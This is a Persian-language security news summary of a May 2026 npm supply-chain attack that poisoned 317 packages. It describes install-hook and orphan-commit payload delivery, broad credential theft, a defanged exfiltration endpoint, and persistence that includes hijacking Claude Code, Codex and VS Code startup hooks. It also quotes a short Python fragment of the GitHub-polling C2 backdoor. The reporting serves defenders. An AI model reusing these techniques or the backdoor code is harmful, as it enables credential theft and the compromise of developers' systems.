حمله زنجیره تأمین npm: ۳۱۷ پکیج آلوده در ۲۲ دقیقه
خلاصهٔ کاملتر
اکانت npm به نام atool در تاریخ ۱۹ مه ۲۰۲۶ در اختیار یک مهاجم قرار گرفت. او طی دو موج خودکار و در کمتر از ۲۲ دقیقه، ۶۳۷ نسخه مخرب از ۳۱۷ پکیج پرکاربرد منتشر کرد. پکیجهایی مثل size-sensor (۴.۲ میلیون دانلود در ماه)، echarts-for-react (۳.۸ میلیون)، @antv/scale (۲.۲ میلیون) و timeago.js (۱.۱۵ میلیون) در این حمله آلوده شدن. نکته مهم اینه که مهاجم تگ latest رو جابجا نکرد، ولی این هیچ محافظتی نمیده؛ پروژههایی که از semver range مثل ^3.0.6 استفاده میکنن، در نصب بعدی خودشون به نسخه مخرب جدیدتر میرسن.
این حمله با ابزاری به نام Mini Shai-Hulud انجام شده که سه هفته پیش هم در یه حمله دیگه دیده شده بود. هر نسخه آلوده دو تغییر در package.json ایجاد میکنه: یه preinstall hook که اسکریپت مخرب رو با Bun اجرا میکنه، و یه optionalDependencies که به یه کامیت مخفی (orphan commit با هویت جعلی) در ریپوی عمومی antvis/G2 اشاره داره. این روش دوم حتی اگه preinstall hook مسدود بشه هم پیلود رو تحویل میده.
پیلود اصلی یه فایل ۴۹۸ کیلوبایتی مبهمسازیشدهست که اعتبارنامههای گستردهای رو هدف میگیره: متغیرهای محیطی AWS (شامل EC2 IMDS و ECS container metadata)، توکنهای GitHub و npm، کلیدهای SSH، تنظیمات Docker و Kubernetes، توکنهای HashiCorp Vault، و حتی محتوای مدیر پسوردهای محلی مثل 1Password، Bitwarden، pass و gopass. همچنین در محیطهای CI/CD، توکن OIDC مربوط به GitHub Actions رو برای دریافت یه توکن معتبر npm publish مبادله میکنه و با Sigstore امضاهای رسمی جعلی میسازه.
دادههای دزدیدهشده از دو کانال موازی خارج میشن. اول، اطلاعات بهصورت Git object در ریپوهای عمومی GitHub commit میشن؛ ریپوهایی با نامهایی از واژگان کتاب Dune مثل harkonnen-melange-742 یا fremen-sandworm-315. دوم، دادهها با رمزنگاری RSA+AES به آدرس t.m-kosche[.]com/api/public/otel/v1/traces ارسال میشن که ظاهر یه endpoint مشروع OpenTelemetry (سیستم جمعآوری دادههای observability) رو داره تا از فیلترهای شبکه رد بشه.
# C2 backdoor: polling GitHub for signed commands every hour
results = requests.get(
"https://api.github.com/search/commits?q=firedalazer",
headers={"Authorization": f"token {token}"}
)
# parses: firedalazer <base64_url>.<base64_signature>
# verifies RSA-PSS signature before downloading and executingپیلود پنج مکانیزم ماندگاری (persistence) جداگانه داره. یک سرویس systemd یا LaunchAgent به نام kitty-monitor نصب میشه که یه backdoor C2 پایتونی رو اجرا میکنه؛ این daemon هر ساعت GitHub رو برای دستورات RSA-امضاشده حاوی کلیدواژه firedalazer بررسی میکنه. علاوه بر این، SessionStart hook در Claude Code و Codex و تسک folderOpen در VS Code تزریق میشه تا با هر بار باز کردن پروژه، پیلود دوباره اجرا بشه. در محیط CI/CD هم یه workflow مخرب با نام Run Copilot به فایل .github/workflows/codeql.yml اضافه میشه که تمام secrets رو dump میکنه، آرتیفکت میسازه، و بعد شواهد رو پاک میکنه.
نکات کلیدی:
- اکانت npm به نام atool در ۱۹ مه ۲۰۲۶ هک شد و ۶۳۷ نسخه مخرب در ۲۲ دقیقه منتشر کرد
- پکیجهای پرمصرفی مثل echarts-for-react و size-sensor آلوده شدن؛ استفاده از semver range باعث نصب خودکار نسخه مخرب میشه
- پیلود همهچیز رو هدف میگیره: AWS، GitHub، SSH، Kubernetes، Vault، و حتی 1Password و Bitwarden
- دو کانال exfiltration: ریپوهای GitHub با نامهای Dune-محور و یه endpoint جعلی OpenTelemetry
- پنج مکانیزم ماندگاری شامل hijack کردن Claude Code، Codex، VS Code، سرویس systemd، و injection در CI/CD
- روش دوم تحویل payload از طریق orphan commit در ریپوی antvis/G2، حتی با مسدود کردن preinstall hook هم کار میکنه




